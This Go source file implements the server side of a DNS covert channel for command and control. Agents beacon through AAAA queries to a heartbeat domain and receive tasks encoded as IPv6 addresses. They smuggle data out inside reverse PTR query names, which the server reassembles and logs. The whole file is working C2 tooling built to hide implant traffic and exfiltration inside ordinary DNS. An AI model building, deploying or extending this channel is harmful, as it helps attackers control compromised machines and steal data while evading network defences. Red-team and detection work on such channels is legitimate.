package main

import (
	"fmt"
	"math/rand"
	"net"
	"strconv"
	"strings"
	"time"

	"github.com/miekg/dns"
)

// Must be global
var buffer []string

// Domain for heartbeats
var heartbeatDomain = ".heartbeat.example.com."

// Reply to PTR query
var ptrACK = "ack.example.com."

func StartDNSlistener(port string) (*dns.Server, error) {
	// Define handlers for DNS queries
	dns.HandleFunc(".", handleDNSRequest)

	// Create the DNS server
	server := &dns.Server{
		Addr: "0.0.0.0:" + port,
		Net:  "udp",
	}

	// Create error channel to catch startup errors
	errChan := make(chan error, 1)

	// Start server in a goroutine
	go func() {
		debugLog("Starting DNS server on port: %s", port)
		if err := server.ListenAndServe(); err != nil {
			debugLog("DNS server error: %v", err)
			errChan <- err
		}
	}()

	// Wait for potential startup errors
	select {
	case err := <-errChan:
		return nil, fmt.Errorf("failed to start DNS server: %w", err)
	case <-time.After(500 * time.Millisecond):
		// Test if the server is actually listening
		conn, err := net.Dial("udp", "0.0.0.0:"+port)
		if err != nil {
			return nil, fmt.Errorf("DNS server not responding: %w", err)
		}
		conn.Close()

		debugLog("DNS server started successfully on port: %s", port)
		return server, nil
	}
}

// Handle incoming DNS requests
func handleDNSRequest(writer dns.ResponseWriter, reply *dns.Msg) {
	// Log client details (client's IP and port)
	clientAddr := writer.RemoteAddr().String()
	debugLog("\n")
	debugLog("Received DNS request from client: %s", clientAddr)

	// Create a response message
	msg := new(dns.Msg)
	msg.SetReply(reply)
	msg.Authoritative = true

	// Loop through all questions in the request
	for _, question := range reply.Question {
		// Log details about the query
		debugLog("Query type: %s", dns.TypeToString[question.Qtype])

		switch question.Qtype {

		// Handle heartbeat queries
		case dns.TypeAAAA:
			// Reply to AAAA query only if it has our pre-defined domain at the end
			if strings.HasSuffix(question.Name, heartbeatDomain) {
				handleAAAAquery(question.Name, msg, clientAddr)
			} else {
				msg.Rcode = dns.RcodeNameError
			}
		// Handle information queries
		case dns.TypePTR:
			// Handle information-sending queries
			handlePTRQuery(question.Name, msg)
		default:
			// Unsupported query types
			msg.Rcode = dns.RcodeNameError
			debugLog("Unknown query: %s from client: %s", question.Name, clientAddr)
		}
	}

	// Send the response back to the client
	if err := writer.WriteMsg(msg); err != nil {
		debugLog("Failed to write DNS response: %v", err)
	}
}

// Handle heartbeat queries
func handleAAAAquery(name string, msg *dns.Msg, clientAddr string) {
	// Logging
	debugLog("Received AAAA query for %s", name)

	// Extract the agent ID
	parts := strings.Split(name, ".")
	if len(parts) < 3 {
		debugLog("Invalid heartbeat query: %s", name)
		msg.Rcode = dns.RcodeNameError
		return
	}
	agentID := parts[0]

	debugLog("Received heartbeat from agent %s", agentID)

	// Get next task for agent and encode it into ipv6
	data := getTaskForBeacon(agentID, clientAddr)
	debugLog("Data to encode: %s", data)

	encodedData := encodeToIPv6(data)
	debugLog("Encoded data: %s", encodedData)

	if len(encodedData) == 0 {
		debugLog("No data to send to agent %s", agentID)
		msg.Rcode = dns.RcodeSuccess
		return
	}

	// Create AAAA records with the encoded data
	for _, ipStr := range encodedData {
		ip := net.ParseIP(ipStr)
		if ip == nil {
			debugLog("Invalid IP generated for agent %s: %s", agentID, ipStr)
			continue
		}
		aaaa := &dns.AAAA{
			Hdr: dns.RR_Header{
				Name:   name,
				Rrtype: dns.TypeAAAA,
				Class:  dns.ClassINET,
				Ttl:    3600,
			},
			AAAA: ip,
		}
		msg.Answer = append(msg.Answer, aaaa)
	}
}

// Handle information-sending queries
func handlePTRQuery(name string, msg *dns.Msg) {
	// Extract the IPv6 address from the reverse query
	debugLog("Received PTR query: %s", name)
	ip, err := parseIPs(name)
	if err != nil {
		debugLog("Failed to parse reverse query %s: %v", name, err)
		msg.Rcode = dns.RcodeNameError
		return
	}

	// Print IPv6 before decoding
	debugLog("IP for decoding %s:", ip)

	// Decode the IPv6 data and check if the delimiter is found
	decodedData, full := decodeFromIPv6([]string{ip})
	var fullMessage string
	// If full data is not received, append to the buffer
	if !full {
		buffer = append(buffer, decodedData)
		debugLog("Appending data to buffer. Current buffer: %v", buffer)
	} else {
		// When full, append final piece and log complete data
		if decodedData != "" {
			buffer = append(buffer, decodedData)
		}
		// Put together and log the complete decoded data
		fullMessage = strings.Join(buffer, "")
		debugLog("Complete data from agent: %s", fullMessage)

		// Clear the buffer after processing
		buffer = nil
	}

	parseMessage(fullMessage)

	// Acknowledge the PTR query
	ptr := &dns.PTR{
		Hdr: dns.RR_Header{
			Name:   name,
			Rrtype: dns.TypePTR,
			Class:  dns.ClassINET,
			Ttl:    3600,
		},
		Ptr: ptrACK,
	}
	msg.Answer = append(msg.Answer, ptr)
}

func parseMessage(buffer string) {
	agentID := getAgentIDFromPTR(buffer)
	debugLog("AgentID: %s", agentID)
}

// Generate response data for AAAA query
func getTaskForBeacon(agentID string, clientAddr string) string {
	// Prepare updated agent information
	newInfo := &AgentInfo{
		RemoteIP:       clientAddr,
		LastConnection: time.Now(),
	}

	UpdateAgent(agentID, newInfo)

	debugLog("Fetching task for agent: %s", agentID)
	task := taskHandler.GetNextTask(agentID)

	if task != nil {
		taskMessage := fmt.Sprintf("TASK:%s:%s", task.Type, task.Args)
		return taskMessage
	} else {
		debugLog("No task for agent: %s. Sending ACK", agentID)
		return "ACK"
	}
}

// Parse IPv6 from reverse query into it's original form
func parseIPs(reverse string) (string, error) {
	const suffix = ".ip6.arpa."
	if len(reverse) < len(suffix) || !strings.HasSuffix(reverse, suffix) {
		return "", fmt.Errorf("invalid reverse query: %s", reverse)
	}

	// Remove the `.ip6.arpa.` suffix
	parts := reverse[:len(reverse)-len(suffix)]
	octets := strings.Split(parts, ".")
	if len(octets) != 32 {
		return "", fmt.Errorf("invalid reverse IPv6 length")
	}

	// Reverse the order of nibbles (octets)
	for i, j := 0, len(octets)-1; i < j; i, j = i+1, j-1 {
		octets[i], octets[j] = octets[j], octets[i]
	}

	// Group nibbles into segments of four to form the IPv6 address
	var segments []string
	for i := 0; i < len(octets); i += 4 {
		segment := octets[i] + octets[i+1] + octets[i+2] + octets[i+3]
		segments = append(segments, segment)
	}

	// Join the segments with colons to create the IPv6 address
	ip := strings.Join(segments, ":")
	return ip, nil
}

// Extract agent ID from PTR query
func getAgentIDFromPTR(query string) string {
	// Extract agent ID from PTR query
	parts := strings.Split(query, "~")
	return parts[0] // Assuming agent ID is the first part
}

func encodeToIPv6(data string) []string {
	// rand.Seed(time.Now().UnixNano())
	rand.New(rand.NewSource(time.Now().UnixNano()))
	var ips []string

	for i := 0; i < len(data); i += 16 {
		chunk := data[i:min(i+16, len(data))]
		segments := make([]string, 8)
		currentSegment := 0

		// Encode characters into IPv6 segments
		for j := 0; j < len(chunk); j += 2 {
			if j+1 < len(chunk) {
				// Full 2-byte segment
				value := (int(chunk[j]) << 8) | int(chunk[j+1])
				segments[currentSegment] = fmt.Sprintf("%04x", value)
				currentSegment++
			} else {
				// One byte left, fill the segment with xxff
				value := (int(chunk[j]) << 8) | 0xff
				segments[currentSegment] = fmt.Sprintf("%04x", value)
				currentSegment++
			}
		}

		// Handle the delimiter "ffff" if the chunk ends at a fully filled segment
		if len(chunk)%2 == 0 && currentSegment < 8 {
			segments[currentSegment] = "ffff"
			currentSegment++
		}

		// Fill remaining segments with random data
		for k := currentSegment; k < 8; k++ {
			segments[k] = fmt.Sprintf("%04x", rand.Intn(65536))
		}

		ip := strings.Join(segments, ":")
		ips = append(ips, ip)

		// Debugging
		debugLog("Encoded chunk: %s -> IPv6 address: %s\n", chunk, ip)
	}
	return ips
}

func decodeFromIPv6(ips []string) (string, bool) {
	var decodedData []byte

	for _, ip := range ips {
		segments := strings.Split(ip, ":")
		debugLog("Decoding IP: %s\n", ip)

		for _, segment := range segments {
			// fmt.Printf("Processing segment: %s\n", segment)

			if segment == "ffff" {
				// Stop decoding as "ffff" marks the end of data
				debugLog("Encountered 'ffff', stopping decoding.")
				return string(decodedData), true
			}

			// Parse the segment as a hexadecimal value
			value, err := strconv.ParseUint(segment, 16, 16)
			if err != nil {
				debugLog("Failed to parse segment %s: %v", segment, err)
				continue
			}

			// Handle "xxff" (1 byte + delimiter)
			if value&0xFF == 0xFF {
				// fmt.Printf("Handling 'xxff' pattern: value=0x%x, appending byte %d\n", value, byte(value>>8))
				decodedData = append(decodedData, byte(value>>8))
				return string(decodedData), true

			} else {
				// Handle full 2-byte data
				// fmt.Printf("Handling full 2-byte data: value=0x%x, appending bytes %d and %d\n", value, byte(value>>8), byte(value&0xFF))
				decodedData = append(decodedData, byte(value>>8), byte(value&0xFF))
			}
		}
	}

	return string(decodedData), false
}

func min(a, b int) int {
	if a < b {
		return a
	}
	return b
}
